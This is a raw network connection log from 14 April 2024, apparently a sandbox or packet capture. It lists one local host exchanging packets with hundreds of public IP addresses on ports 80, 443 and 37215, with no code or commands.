Apr 14, 2024 03:59:52.045753956 CEST	5463	80	192.168.2.23	46.40.233.94
Apr 14, 2024 03:59:52.045761108 CEST	5463	80	192.168.2.23	64.241.82.159
Apr 14, 2024 03:59:52.045772076 CEST	5463	80	192.168.2.23	61.178.207.141
Apr 14, 2024 03:59:52.045773029 CEST	5463	80	192.168.2.23	158.238.217.42
Apr 14, 2024 03:59:52.045775890 CEST	5463	80	192.168.2.23	180.55.122.171
Apr 14, 2024 03:59:52.045789003 CEST	5463	80	192.168.2.23	68.237.148.169
Apr 14, 2024 03:59:52.045790911 CEST	5463	80	192.168.2.23	151.68.70.182
Apr 14, 2024 03:59:52.045792103 CEST	5463	80	192.168.2.23	140.223.179.9
Apr 14, 2024 03:59:52.045804024 CEST	5463	80	192.168.2.23	217.66.228.41
Apr 14, 2024 03:59:52.045804977 CEST	5463	80	192.168.2.23	97.89.204.153
Apr 14, 2024 03:59:52.045829058 CEST	5463	80	192.168.2.23	119.230.144.166
Apr 14, 2024 03:59:52.045829058 CEST	5463	80	192.168.2.23	173.77.39.246
Apr 14, 2024 03:59:52.045840025 CEST	5463	80	192.168.2.23	148.239.46.239
Apr 14, 2024 03:59:52.045840979 CEST	5463	80	192.168.2.23	203.15.40.47
Apr 14, 2024 03:59:52.045849085 CEST	5463	80	192.168.2.23	53.59.100.137
Apr 14, 2024 03:59:52.045861006 CEST	5463	80	192.168.2.23	157.40.144.234
Apr 14, 2024 03:59:52.045866013 CEST	5463	80	192.168.2.23	44.1.37.134
Apr 14, 2024 03:59:52.045941114 CEST	5463	80	192.168.2.23	66.34.89.77
Apr 14, 2024 03:59:52.045948982 CEST	5463	80	192.168.2.23	210.169.186.50
Apr 14, 2024 03:59:52.045950890 CEST	5463	80	192.168.2.23	94.90.19.244
Apr 14, 2024 03:59:52.045958042 CEST	5463	80	192.168.2.23	77.56.214.43
Apr 14, 2024 03:59:52.045964956 CEST	5463	80	192.168.2.23	45.113.93.212
Apr 14, 2024 03:59:52.045968056 CEST	5463	80	192.168.2.23	122.145.148.173
Apr 14, 2024 03:59:52.046005011 CEST	5463	80	192.168.2.23	170.242.203.184
Apr 14, 2024 03:59:52.046008110 CEST	5463	80	192.168.2.23	202.197.186.80
Apr 14, 2024 03:59:52.046022892 CEST	5463	80	192.168.2.23	184.159.127.230
Apr 14, 2024 03:59:52.046022892 CEST	5463	80	192.168.2.23	156.141.222.49
Apr 14, 2024 03:59:52.046022892 CEST	5463	80	192.168.2.23	189.150.11.103
Apr 14, 2024 03:59:52.046036005 CEST	5463	80	192.168.2.23	151.191.251.143
Apr 14, 2024 03:59:52.046057940 CEST	5463	80	192.168.2.23	54.141.5.146
Apr 14, 2024 03:59:52.046072960 CEST	5463	80	192.168.2.23	195.82.7.28
Apr 14, 2024 03:59:52.046073914 CEST	5463	80	192.168.2.23	150.104.180.89
Apr 14, 2024 03:59:52.046075106 CEST	5463	80	192.168.2.23	89.114.230.162
Apr 14, 2024 03:59:52.046087027 CEST	5463	80	192.168.2.23	197.57.109.48
Apr 14, 2024 03:59:52.046087027 CEST	5463	80	192.168.2.23	176.202.104.155
Apr 14, 2024 03:59:52.046112061 CEST	5463	80	192.168.2.23	61.45.170.188
Apr 14, 2024 03:59:52.046123028 CEST	5463	80	192.168.2.23	166.243.215.238
Apr 14, 2024 03:59:52.046127081 CEST	5463	80	192.168.2.23	156.18.142.63
Apr 14, 2024 03:59:52.046132088 CEST	5463	80	192.168.2.23	182.47.9.162
Apr 14, 2024 03:59:52.046143055 CEST	5463	80	192.168.2.23	146.218.3.226
Apr 14, 2024 03:59:52.046149015 CEST	5463	80	192.168.2.23	200.44.93.115
Apr 14, 2024 03:59:52.046173096 CEST	5463	80	192.168.2.23	114.252.32.155
Apr 14, 2024 03:59:52.046180964 CEST	5463	80	192.168.2.23	158.82.54.59
Apr 14, 2024 03:59:52.046188116 CEST	5463	80	192.168.2.23	84.2.142.224
Apr 14, 2024 03:59:52.046201944 CEST	5463	80	192.168.2.23	89.170.215.4
Apr 14, 2024 03:59:52.046205997 CEST	5463	80	192.168.2.23	123.111.237.101
Apr 14, 2024 03:59:52.046205997 CEST	5463	80	192.168.2.23	49.74.192.213
Apr 14, 2024 03:59:52.046206951 CEST	5463	80	192.168.2.23	177.36.220.235
Apr 14, 2024 03:59:52.046211004 CEST	5463	80	192.168.2.23	12.104.94.36
Apr 14, 2024 03:59:52.046248913 CEST	5463	80	192.168.2.23	75.225.26.181
Apr 14, 2024 03:59:52.046248913 CEST	5463	80	192.168.2.23	129.77.26.80
Apr 14, 2024 03:59:52.046252012 CEST	5463	80	192.168.2.23	139.163.158.207
Apr 14, 2024 03:59:52.046257019 CEST	5463	80	192.168.2.23	217.254.15.95
Apr 14, 2024 03:59:52.046281099 CEST	5463	80	192.168.2.23	128.46.37.171
Apr 14, 2024 03:59:52.046281099 CEST	5463	80	192.168.2.23	119.51.254.159
Apr 14, 2024 03:59:52.046294928 CEST	5463	80	192.168.2.23	181.78.12.242
Apr 14, 2024 03:59:52.046295881 CEST	5463	80	192.168.2.23	104.93.55.240
Apr 14, 2024 03:59:52.046313047 CEST	5463	80	192.168.2.23	220.249.73.235
Apr 14, 2024 03:59:52.046319008 CEST	5463	80	192.168.2.23	154.16.152.218
Apr 14, 2024 03:59:52.046329975 CEST	5463	80	192.168.2.23	109.130.88.38
Apr 14, 2024 03:59:52.046343088 CEST	5463	80	192.168.2.23	222.189.221.250
Apr 14, 2024 03:59:52.046346903 CEST	5463	80	192.168.2.23	194.63.50.66
Apr 14, 2024 03:59:52.046353102 CEST	5463	80	192.168.2.23	42.244.26.110
Apr 14, 2024 03:59:52.056237936 CEST	2135	443	192.168.2.23	117.152.5.2
Apr 14, 2024 03:59:52.056267977 CEST	443	2135	117.152.5.2	192.168.2.23
Apr 14, 2024 03:59:52.056274891 CEST	2135	443	192.168.2.23	212.71.186.2
Apr 14, 2024 03:59:52.056277990 CEST	2135	443	192.168.2.23	148.178.139.145
Apr 14, 2024 03:59:52.056291103 CEST	2135	443	192.168.2.23	2.185.31.118
Apr 14, 2024 03:59:52.056298971 CEST	2135	443	192.168.2.23	79.249.19.7
Apr 14, 2024 03:59:52.056298971 CEST	2135	443	192.168.2.23	212.113.167.67
Apr 14, 2024 03:59:52.056312084 CEST	443	2135	148.178.139.145	192.168.2.23
Apr 14, 2024 03:59:52.056313038 CEST	2135	443	192.168.2.23	79.139.54.17
Apr 14, 2024 03:59:52.056320906 CEST	2135	443	192.168.2.23	117.152.5.2
Apr 14, 2024 03:59:52.056333065 CEST	2135	443	192.168.2.23	148.57.187.216
Apr 14, 2024 03:59:52.056341887 CEST	2135	443	192.168.2.23	37.149.242.184
Apr 14, 2024 03:59:52.056343079 CEST	443	2135	148.57.187.216	192.168.2.23
Apr 14, 2024 03:59:52.056344032 CEST	2135	443	192.168.2.23	148.178.139.145
Apr 14, 2024 03:59:52.056359053 CEST	2135	443	192.168.2.23	109.196.244.129
Apr 14, 2024 03:59:52.056359053 CEST	2135	443	192.168.2.23	212.253.210.109
Apr 14, 2024 03:59:52.056364059 CEST	2135	443	192.168.2.23	94.190.168.5
Apr 14, 2024 03:59:52.056374073 CEST	443	2135	109.196.244.129	192.168.2.23
Apr 14, 2024 03:59:52.056374073 CEST	443	2135	37.149.242.184	192.168.2.23
Apr 14, 2024 03:59:52.056376934 CEST	2135	443	192.168.2.23	210.237.21.142
Apr 14, 2024 03:59:52.056382895 CEST	443	2135	94.190.168.5	192.168.2.23
Apr 14, 2024 03:59:52.056386948 CEST	2135	443	192.168.2.23	148.57.187.216
Apr 14, 2024 03:59:52.056390047 CEST	443	2135	212.253.210.109	192.168.2.23
Apr 14, 2024 03:59:52.056397915 CEST	2135	443	192.168.2.23	118.172.41.124
Apr 14, 2024 03:59:52.056402922 CEST	2135	443	192.168.2.23	109.196.244.129
Apr 14, 2024 03:59:52.056402922 CEST	2135	443	192.168.2.23	2.147.10.246
Apr 14, 2024 03:59:52.056402922 CEST	2135	443	192.168.2.23	212.159.156.91
Apr 14, 2024 03:59:52.056406975 CEST	443	2135	118.172.41.124	192.168.2.23
Apr 14, 2024 03:59:52.056406975 CEST	443	2135	210.237.21.142	192.168.2.23
Apr 14, 2024 03:59:52.056415081 CEST	443	2135	2.147.10.246	192.168.2.23
Apr 14, 2024 03:59:52.056418896 CEST	2135	443	192.168.2.23	94.190.168.5
Apr 14, 2024 03:59:52.056427002 CEST	443	2135	212.159.156.91	192.168.2.23
Apr 14, 2024 03:59:52.056428909 CEST	2135	443	192.168.2.23	94.21.126.80
Apr 14, 2024 03:59:52.056431055 CEST	2135	443	192.168.2.23	212.253.210.109
Apr 14, 2024 03:59:52.056435108 CEST	443	2135	94.21.126.80	192.168.2.23
Apr 14, 2024 03:59:52.056435108 CEST	2135	443	192.168.2.23	210.237.21.142
Apr 14, 2024 03:59:52.056442976 CEST	2135	443	192.168.2.23	118.172.41.124
Apr 14, 2024 03:59:52.056443930 CEST	2135	443	192.168.2.23	37.149.242.184
Apr 14, 2024 03:59:52.056443930 CEST	2135	443	192.168.2.23	42.45.213.158
Apr 14, 2024 03:59:52.056443930 CEST	2135	443	192.168.2.23	178.120.28.99
Apr 14, 2024 03:59:52.056444883 CEST	2135	443	192.168.2.23	212.1.197.59
Apr 14, 2024 03:59:52.056453943 CEST	2135	443	192.168.2.23	202.72.202.97
Apr 14, 2024 03:59:52.056458950 CEST	443	2135	42.45.213.158	192.168.2.23
Apr 14, 2024 03:59:52.056463003 CEST	443	2135	202.72.202.97	192.168.2.23
Apr 14, 2024 03:59:52.056467056 CEST	2135	443	192.168.2.23	94.21.126.80
Apr 14, 2024 03:59:52.056472063 CEST	443	2135	178.120.28.99	192.168.2.23
Apr 14, 2024 03:59:52.056479931 CEST	2135	443	192.168.2.23	2.117.171.24
Apr 14, 2024 03:59:52.056479931 CEST	5975	37215	192.168.2.23	197.157.159.189
Apr 14, 2024 03:59:52.056483030 CEST	443	2135	212.1.197.59	192.168.2.23
Apr 14, 2024 03:59:52.056492090 CEST	2135	443	192.168.2.23	202.72.202.97
Apr 14, 2024 03:59:52.056495905 CEST	443	2135	2.117.171.24	192.168.2.23
Apr 14, 2024 03:59:52.056497097 CEST	2135	443	192.168.2.23	2.147.10.246
Apr 14, 2024 03:59:52.056497097 CEST	2135	443	192.168.2.23	212.159.156.91
Apr 14, 2024 03:59:52.056498051 CEST	2135	443	192.168.2.23	42.45.213.158
Apr 14, 2024 03:59:52.056498051 CEST	2135	443	192.168.2.23	148.57.18.34
Apr 14, 2024 03:59:52.056512117 CEST	443	2135	148.57.18.34	192.168.2.23
Apr 14, 2024 03:59:52.056519985 CEST	2135	443	192.168.2.23	2.117.171.24
Apr 14, 2024 03:59:52.056523085 CEST	2135	443	192.168.2.23	37.58.194.208
Apr 14, 2024 03:59:52.056524038 CEST	2135	443	192.168.2.23	178.120.28.99
Apr 14, 2024 03:59:52.056524038 CEST	2135	443	192.168.2.23	212.1.197.59
Apr 14, 2024 03:59:52.056533098 CEST	2135	443	192.168.2.23	109.160.197.44
Apr 14, 2024 03:59:52.056535006 CEST	443	2135	37.58.194.208	192.168.2.23
Apr 14, 2024 03:59:52.056539059 CEST	2135	443	192.168.2.23	148.57.18.34
Apr 14, 2024 03:59:52.056540966 CEST	443	2135	109.160.197.44	192.168.2.23
Apr 14, 2024 03:59:52.056549072 CEST	2135	443	192.168.2.23	210.186.101.74
Apr 14, 2024 03:59:52.056550026 CEST	2135	443	192.168.2.23	109.195.246.175
Apr 14, 2024 03:59:52.056556940 CEST	443	2135	210.186.101.74	192.168.2.23
Apr 14, 2024 03:59:52.056561947 CEST	443	2135	109.195.246.175	192.168.2.23
Apr 14, 2024 03:59:52.056564093 CEST	2135	443	192.168.2.23	109.160.197.44
Apr 14, 2024 03:59:52.056571007 CEST	2135	443	192.168.2.23	117.172.55.223
Apr 14, 2024 03:59:52.056575060 CEST	2135	443	192.168.2.23	37.58.194.208
Apr 14, 2024 03:59:52.056581020 CEST	2135	443	192.168.2.23	94.177.146.224
Apr 14, 2024 03:59:52.056583881 CEST	443	2135	117.172.55.223	192.168.2.23
Apr 14, 2024 03:59:52.056585073 CEST	2135	443	192.168.2.23	210.186.101.74
Apr 14, 2024 03:59:52.056587934 CEST	2135	443	192.168.2.23	79.155.242.16
Apr 14, 2024 03:59:52.056591034 CEST	2135	443	192.168.2.23	109.195.246.175
Apr 14, 2024 03:59:52.056596041 CEST	443	2135	79.155.242.16	192.168.2.23
Apr 14, 2024 03:59:52.056602955 CEST	5975	37215	192.168.2.23	197.64.96.191
Apr 14, 2024 03:59:52.056606054 CEST	5975	37215	192.168.2.23	156.219.123.215
Apr 14, 2024 03:59:52.056607962 CEST	443	2135	94.177.146.224	192.168.2.23
Apr 14, 2024 03:59:52.056619883 CEST	2135	443	192.168.2.23	123.172.114.183
Apr 14, 2024 03:59:52.056619883 CEST	2135	443	192.168.2.23	148.93.101.77
Apr 14, 2024 03:59:52.056622028 CEST	2135	443	192.168.2.23	117.172.55.223
Apr 14, 2024 03:59:52.056624889 CEST	2135	443	192.168.2.23	79.155.242.16
Apr 14, 2024 03:59:52.056624889 CEST	2135	443	192.168.2.23	5.224.7.158
Apr 14, 2024 03:59:52.056627035 CEST	2135	443	192.168.2.23	148.132.221.74
Apr 14, 2024 03:59:52.056631088 CEST	443	2135	123.172.114.183	192.168.2.23
Apr 14, 2024 03:59:52.056632996 CEST	443	2135	148.132.221.74	192.168.2.23
Apr 14, 2024 03:59:52.056638956 CEST	443	2135	148.93.101.77	192.168.2.23
Apr 14, 2024 03:59:52.056643009 CEST	2135	443	192.168.2.23	148.59.237.9
Apr 14, 2024 03:59:52.056646109 CEST	2135	443	192.168.2.23	117.144.110.126
Apr 14, 2024 03:59:52.056647062 CEST	2135	443	192.168.2.23	123.64.141.15
Apr 14, 2024 03:59:52.056647062 CEST	2135	443	192.168.2.23	94.177.146.224
Apr 14, 2024 03:59:52.056648016 CEST	443	2135	148.59.237.9	192.168.2.23
Apr 14, 2024 03:59:52.056648016 CEST	2135	443	192.168.2.23	212.42.201.199
Apr 14, 2024 03:59:52.056654930 CEST	443	2135	123.64.141.15	192.168.2.23
Apr 14, 2024 03:59:52.056655884 CEST	2135	443	192.168.2.23	148.132.221.74
Apr 14, 2024 03:59:52.056655884 CEST	443	2135	212.42.201.199	192.168.2.23
Apr 14, 2024 03:59:52.056658030 CEST	443	2135	117.144.110.126	192.168.2.23
Apr 14, 2024 03:59:52.056663036 CEST	2135	443	192.168.2.23	123.172.114.183
Apr 14, 2024 03:59:52.056663036 CEST	2135	443	192.168.2.23	148.93.101.77
Apr 14, 2024 03:59:52.056665897 CEST	443	2135	5.224.7.158	192.168.2.23
Apr 14, 2024 03:59:52.056672096 CEST	2135	443	192.168.2.23	94.4.184.1
Apr 14, 2024 03:59:52.056673050 CEST	2135	443	192.168.2.23	212.232.115.244
Apr 14, 2024 03:59:52.056679010 CEST	443	2135	94.4.184.1	192.168.2.23
Apr 14, 2024 03:59:52.056679964 CEST	443	2135	212.232.115.244	192.168.2.23
Apr 14, 2024 03:59:52.056680918 CEST	2135	443	192.168.2.23	123.64.141.15
Apr 14, 2024 03:59:52.056682110 CEST	2135	443	192.168.2.23	148.59.237.9
Apr 14, 2024 03:59:52.056691885 CEST	5975	37215	192.168.2.23	197.189.50.189
Apr 14, 2024 03:59:52.056691885 CEST	2135	443	192.168.2.23	37.153.191.34
Apr 14, 2024 03:59:52.056693077 CEST	2135	443	192.168.2.23	212.42.201.199
Apr 14, 2024 03:59:52.056696892 CEST	2135	443	192.168.2.23	117.144.110.126
Apr 14, 2024 03:59:52.056704044 CEST	2135	443	192.168.2.23	94.4.184.1
Apr 14, 2024 03:59:52.056704044 CEST	2135	443	192.168.2.23	212.232.115.244
Apr 14, 2024 03:59:52.056715965 CEST	2135	443	192.168.2.23	5.219.77.22
Apr 14, 2024 03:59:52.056715965 CEST	2135	443	192.168.2.23	178.107.46.185
Apr 14, 2024 03:59:52.056716919 CEST	443	2135	37.153.191.34	192.168.2.23
Apr 14, 2024 03:59:52.056718111 CEST	5975	37215	192.168.2.23	41.61.112.120
Apr 14, 2024 03:59:52.056719065 CEST	2135	443	192.168.2.23	123.181.77.188
Apr 14, 2024 03:59:52.056725979 CEST	443	2135	123.181.77.188	192.168.2.23
Apr 14, 2024 03:59:52.056726933 CEST	443	2135	5.219.77.22	192.168.2.23
Apr 14, 2024 03:59:52.056730986 CEST	2135	443	192.168.2.23	5.224.7.158
Apr 14, 2024 03:59:52.056730986 CEST	2135	443	192.168.2.23	94.194.235.58
Apr 14, 2024 03:59:52.056740046 CEST	5975	37215	192.168.2.23	197.9.59.0
Apr 14, 2024 03:59:52.056741953 CEST	443	2135	178.107.46.185	192.168.2.23
Apr 14, 2024 03:59:52.056747913 CEST	2135	443	192.168.2.23	123.10.114.83
Apr 14, 2024 03:59:52.056749105 CEST	443	2135	94.194.235.58	192.168.2.23
Apr 14, 2024 03:59:52.056751013 CEST	2135	443	192.168.2.23	2.69.219.10
Apr 14, 2024 03:59:52.056751013 CEST	2135	443	192.168.2.23	210.155.51.199
Apr 14, 2024 03:59:52.056751013 CEST	5975	37215	192.168.2.23	197.118.205.31
Apr 14, 2024 03:59:52.056751013 CEST	2135	443	192.168.2.23	37.153.191.34
Apr 14, 2024 03:59:52.056756020 CEST	443	2135	123.10.114.83	192.168.2.23
Apr 14, 2024 03:59:52.056756973 CEST	2135	443	192.168.2.23	123.132.230.7
Apr 14, 2024 03:59:52.056756973 CEST	2135	443	192.168.2.23	5.219.77.22
Apr 14, 2024 03:59:52.056760073 CEST	2135	443	192.168.2.23	123.181.77.188
Apr 14, 2024 03:59:52.056761980 CEST	443	2135	2.69.219.10	192.168.2.23
Apr 14, 2024 03:59:52.056763887 CEST	443	2135	123.132.230.7	192.168.2.23
Apr 14, 2024 03:59:52.056771040 CEST	443	2135	210.155.51.199	192.168.2.23
Apr 14, 2024 03:59:52.056771994 CEST	2135	443	192.168.2.23	2.40.195.150
Apr 14, 2024 03:59:52.056775093 CEST	2135	443	192.168.2.23	178.107.46.185
Apr 14, 2024 03:59:52.056775093 CEST	2135	443	192.168.2.23	42.1.72.106
Apr 14, 2024 03:59:52.056777000 CEST	443	2135	2.40.195.150	192.168.2.23
Apr 14, 2024 03:59:52.056777000 CEST	2135	443	192.168.2.23	94.194.235.58
Apr 14, 2024 03:59:52.056780100 CEST	5975	37215	192.168.2.23	156.211.123.176
Apr 14, 2024 03:59:52.056783915 CEST	443	2135	42.1.72.106	192.168.2.23
Apr 14, 2024 03:59:52.056787014 CEST	2135	443	192.168.2.23	2.69.219.10
Apr 14, 2024 03:59:52.056792974 CEST	2135	443	192.168.2.23	123.132.230.7
Apr 14, 2024 03:59:52.056797981 CEST	2135	443	192.168.2.23	212.194.65.103
Apr 14, 2024 03:59:52.056799889 CEST	2135	443	192.168.2.23	210.155.51.199
Apr 14, 2024 03:59:52.056801081 CEST	2135	443	192.168.2.23	123.10.114.83
Apr 14, 2024 03:59:52.056807995 CEST	443	2135	212.194.65.103	192.168.2.23
Apr 14, 2024 03:59:52.056809902 CEST	2135	443	192.168.2.23	2.40.195.150
Apr 14, 2024 03:59:52.056811094 CEST	2135	443	192.168.2.23	212.246.96.185
Apr 14, 2024 03:59:52.056814909 CEST	2135	443	192.168.2.23	210.170.247.216
Apr 14, 2024 03:59:52.056821108 CEST	443	2135	210.170.247.216	192.168.2.23
Apr 14, 2024 03:59:52.056821108 CEST	443	2135	212.246.96.185	192.168.2.23
Apr 14, 2024 03:59:52.056828022 CEST	2135	443	192.168.2.23	202.98.254.22
Apr 14, 2024 03:59:52.056830883 CEST	2135	443	192.168.2.23	42.1.72.106
Apr 14, 2024 03:59:52.056834936 CEST	443	2135	202.98.254.22	192.168.2.23
Apr 14, 2024 03:59:52.056837082 CEST	2135	443	192.168.2.23	212.194.65.103
Apr 14, 2024 03:59:52.056840897 CEST	2135	443	192.168.2.23	5.4.132.142
Apr 14, 2024 03:59:52.056843996 CEST	2135	443	192.168.2.23	109.212.58.118
Apr 14, 2024 03:59:52.056845903 CEST	2135	443	192.168.2.23	210.170.247.216
Apr 14, 2024 03:59:52.056852102 CEST	443	2135	5.4.132.142	192.168.2.23
Apr 14, 2024 03:59:52.056852102 CEST	443	2135	109.212.58.118	192.168.2.23
Apr 14, 2024 03:59:52.056854010 CEST	2135	443	192.168.2.23	202.98.254.22
Apr 14, 2024 03:59:52.056859016 CEST	2135	443	192.168.2.23	210.173.203.37
Apr 14, 2024 03:59:52.056862116 CEST	2135	443	192.168.2.23	212.246.96.185
Apr 14, 2024 03:59:52.056865931 CEST	2135	443	192.168.2.23	212.247.201.128
Apr 14, 2024 03:59:52.056874037 CEST	443	2135	210.173.203.37	192.168.2.23
Apr 14, 2024 03:59:52.056874990 CEST	443	2135	212.247.201.128	192.168.2.23
Apr 14, 2024 03:59:52.056875944 CEST	2135	443	192.168.2.23	212.5.243.73
Apr 14, 2024 03:59:52.056884050 CEST	443	2135	212.5.243.73	192.168.2.23
Apr 14, 2024 03:59:52.056898117 CEST	2135	443	192.168.2.23	5.4.132.142
Apr 14, 2024 03:59:52.056904078 CEST	2135	443	192.168.2.23	210.173.203.37
Apr 14, 2024 03:59:52.056906939 CEST	2135	443	192.168.2.23	212.247.201.128
Apr 14, 2024 03:59:52.056905985 CEST	2135	443	192.168.2.23	109.212.58.118
Apr 14, 2024 03:59:52.056938887 CEST	2135	443	192.168.2.23	212.5.243.73
Apr 14, 2024 03:59:52.056965113 CEST	2135	443	192.168.2.23	42.108.237.51
Apr 14, 2024 03:59:52.056972980 CEST	443	2135	42.108.237.51	192.168.2.23
Apr 14, 2024 03:59:52.056989908 CEST	2135	443	192.168.2.23	123.148.92.129
Apr 14, 2024 03:59:52.056998014 CEST	2135	443	192.168.2.23	42.131.82.165
Apr 14, 2024 03:59:52.056998014 CEST	2135	443	192.168.2.23	42.108.237.51
Apr 14, 2024 03:59:52.056998014 CEST	443	2135	123.148.92.129	192.168.2.23
Apr 14, 2024 03:59:52.057004929 CEST	443	2135	42.131.82.165	192.168.2.23
Apr 14, 2024 03:59:52.057025909 CEST	2135	443	192.168.2.23	148.134.149.44
Apr 14, 2024 03:59:52.057032108 CEST	2135	443	192.168.2.23	210.178.32.26
Apr 14, 2024 03:59:52.057032108 CEST	2135	443	192.168.2.23	37.208.92.62
Apr 14, 2024 03:59:52.057033062 CEST	2135	443	192.168.2.23	212.67.150.177
Apr 14, 2024 03:59:52.057033062 CEST	443	2135	148.134.149.44	192.168.2.23
Apr 14, 2024 03:59:52.057033062 CEST	2135	443	192.168.2.23	123.148.92.129
Apr 14, 2024 03:59:52.057040930 CEST	443	2135	212.67.150.177	192.168.2.23
Apr 14, 2024 03:59:52.057041883 CEST	443	2135	210.178.32.26	192.168.2.23
Apr 14, 2024 03:59:52.057048082 CEST	2135	443	192.168.2.23	42.131.82.165
Apr 14, 2024 03:59:52.057048082 CEST	2135	443	192.168.2.23	202.186.229.224
Apr 14, 2024 03:59:52.057054996 CEST	443	2135	37.208.92.62	192.168.2.23
Apr 14, 2024 03:59:52.057065010 CEST	443	2135	202.186.229.224	192.168.2.23
Apr 14, 2024 03:59:52.057080984 CEST	2135	443	192.168.2.23	117.44.172.11
Apr 14, 2024 03:59:52.057081938 CEST	2135	443	192.168.2.23	109.209.208.123
Apr 14, 2024 03:59:52.057084084 CEST	2135	443	192.168.2.23	212.67.150.177
Apr 14, 2024 03:59:52.057085037 CEST	2135	443	192.168.2.23	37.208.92.62
Apr 14, 2024 03:59:52.057090998 CEST	443	2135	109.209.208.123	192.168.2.23
Apr 14, 2024 03:59:52.057090998 CEST	443	2135	117.44.172.11	192.168.2.23
Apr 14, 2024 03:59:52.057095051 CEST	2135	443	192.168.2.23	148.134.149.44
Apr 14, 2024 03:59:52.057107925 CEST	2135	443	192.168.2.23	37.246.18.42
Apr 14, 2024 03:59:52.057111025 CEST	2135	443	192.168.2.23	210.178.32.26
Apr 14, 2024 03:59:52.057111025 CEST	2135	443	192.168.2.23	123.192.203.12
Apr 14, 2024 03:59:52.057112932 CEST	443	2135	37.246.18.42	192.168.2.23
Apr 14, 2024 03:59:52.057116985 CEST	443	2135	123.192.203.12	192.168.2.23
Apr 14, 2024 03:59:52.057131052 CEST	2135	443	192.168.2.23	42.80.43.253
Apr 14, 2024 03:59:52.057131052 CEST	2135	443	192.168.2.23	117.44.172.11
Apr 14, 2024 03:59:52.057131052 CEST	2135	443	192.168.2.23	148.145.81.162
Apr 14, 2024 03:59:52.057132006 CEST	2135	443	192.168.2.23	42.205.235.67
Apr 14, 2024 03:59:52.057137012 CEST	443	2135	148.145.81.162	192.168.2.23
Apr 14, 2024 03:59:52.057137012 CEST	2135	443	192.168.2.23	123.44.124.111
Apr 14, 2024 03:59:52.057138920 CEST	443	2135	42.80.43.253	192.168.2.23
Apr 14, 2024 03:59:52.057142973 CEST	443	2135	123.44.124.111	192.168.2.23
Apr 14, 2024 03:59:52.057143927 CEST	443	2135	42.205.235.67	192.168.2.23
Apr 14, 2024 03:59:52.057151079 CEST	2135	443	192.168.2.23	148.92.249.254
Apr 14, 2024 03:59:52.057151079 CEST	2135	443	192.168.2.23	123.81.216.183
Apr 14, 2024 03:59:52.057151079 CEST	2135	443	192.168.2.23	123.192.203.12
Apr 14, 2024 03:59:52.057152987 CEST	2135	443	192.168.2.23	37.246.18.42
Apr 14, 2024 03:59:52.057152987 CEST	2135	443	192.168.2.23	210.187.162.73
Apr 14, 2024 03:59:52.057157993 CEST	443	2135	148.92.249.254	192.168.2.23
Apr 14, 2024 03:59:52.057161093 CEST	443	2135	210.187.162.73	192.168.2.23
Apr 14, 2024 03:59:52.057167053 CEST	2135	443	192.168.2.23	148.145.81.162
Apr 14, 2024 03:59:52.057168007 CEST	2135	443	192.168.2.23	123.44.124.111
Apr 14, 2024 03:59:52.057168007 CEST	443	2135	123.81.216.183	192.168.2.23
Apr 14, 2024 03:59:52.057172060 CEST	2135	443	192.168.2.23	202.186.229.224
Apr 14, 2024 03:59:52.057174921 CEST	2135	443	192.168.2.23	94.24.102.92
Apr 14, 2024 03:59:52.057182074 CEST	443	2135	94.24.102.92	192.168.2.23
Apr 14, 2024 03:59:52.057183027 CEST	2135	443	192.168.2.23	109.209.208.123
Apr 14, 2024 03:59:52.057183027 CEST	2135	443	192.168.2.23	5.110.248.6
Apr 14, 2024 03:59:52.057184935 CEST	2135	443	192.168.2.23	42.80.43.253
Apr 14, 2024 03:59:52.057184935 CEST	2135	443	192.168.2.23	148.92.249.254
Apr 14, 2024 03:59:52.057190895 CEST	2135	443	192.168.2.23	210.187.162.73
Apr 14, 2024 03:59:52.057193041 CEST	2135	443	192.168.2.23	42.205.235.67
Apr 14, 2024 03:59:52.057193995 CEST	443	2135	5.110.248.6	192.168.2.23
Apr 14, 2024 03:59:52.057194948 CEST	2135	443	192.168.2.23	123.81.216.183
Apr 14, 2024 03:59:52.057214022 CEST	2135	443	192.168.2.23	5.9.40.13
Apr 14, 2024 03:59:52.057224035 CEST	443	2135	5.9.40.13	192.168.2.23
Apr 14, 2024 03:59:52.057245970 CEST	2135	443	192.168.2.23	5.92.99.46
Apr 14, 2024 03:59:52.057246923 CEST	2135	443	192.168.2.23	2.152.72.207
Apr 14, 2024 03:59:52.057245970 CEST	2135	443	192.168.2.23	118.180.110.42
Apr 14, 2024 03:59:52.057257891 CEST	443	2135	5.92.99.46	192.168.2.23
Apr 14, 2024 03:59:52.057259083 CEST	443	2135	2.152.72.207	192.168.2.23
Apr 14, 2024 03:59:52.057271004 CEST	443	2135	118.180.110.42	192.168.2.23
Apr 14, 2024 03:59:52.057284117 CEST	2135	443	192.168.2.23	94.24.102.92
Apr 14, 2024 03:59:52.057284117 CEST	2135	443	192.168.2.23	178.110.229.146
Apr 14, 2024 03:59:52.057287931 CEST	2135	443	192.168.2.23	37.19.188.209
Apr 14, 2024 03:59:52.057288885 CEST	2135	443	192.168.2.23	202.181.132.31
Apr 14, 2024 03:59:52.057291985 CEST	2135	443	192.168.2.23	123.34.181.137
Apr 14, 2024 03:59:52.057291985 CEST	2135	443	192.168.2.23	5.9.40.13
Apr 14, 2024 03:59:52.057291985 CEST	2135	443	192.168.2.23	178.85.241.185
Apr 14, 2024 03:59:52.057295084 CEST	443	2135	37.19.188.209	192.168.2.23
Apr 14, 2024 03:59:52.057295084 CEST	443	2135	202.181.132.31	192.168.2.23
Apr 14, 2024 03:59:52.057298899 CEST	443	2135	178.110.229.146	192.168.2.23
Apr 14, 2024 03:59:52.057300091 CEST	2135	443	192.168.2.23	5.110.248.6
Apr 14, 2024 03:59:52.057301998 CEST	2135	443	192.168.2.23	2.152.72.207
Apr 14, 2024 03:59:52.057302952 CEST	2135	443	192.168.2.23	202.176.161.27
Apr 14, 2024 03:59:52.057302952 CEST	2135	443	192.168.2.23	212.227.51.55
Apr 14, 2024 03:59:52.057302952 CEST	2135	443	192.168.2.23	123.83.77.73
Apr 14, 2024 03:59:52.057301998 CEST	2135	443	192.168.2.23	37.105.85.27
Apr 14, 2024 03:59:52.057301998 CEST	2135	443	192.168.2.23	42.58.12.247
Apr 14, 2024 03:59:52.057301998 CEST	2135	443	192.168.2.23	5.92.99.46
Apr 14, 2024 03:59:52.057301998 CEST	2135	443	192.168.2.23	118.180.110.42
Apr 14, 2024 03:59:52.057307959 CEST	2135	443	192.168.2.23	5.130.26.200
Apr 14, 2024 03:59:52.057307959 CEST	2135	443	192.168.2.23	118.16.138.1
Apr 14, 2024 03:59:52.057308912 CEST	443	2135	123.34.181.137	192.168.2.23
Apr 14, 2024 03:59:52.057310104 CEST	2135	443	192.168.2.23	42.249.81.52
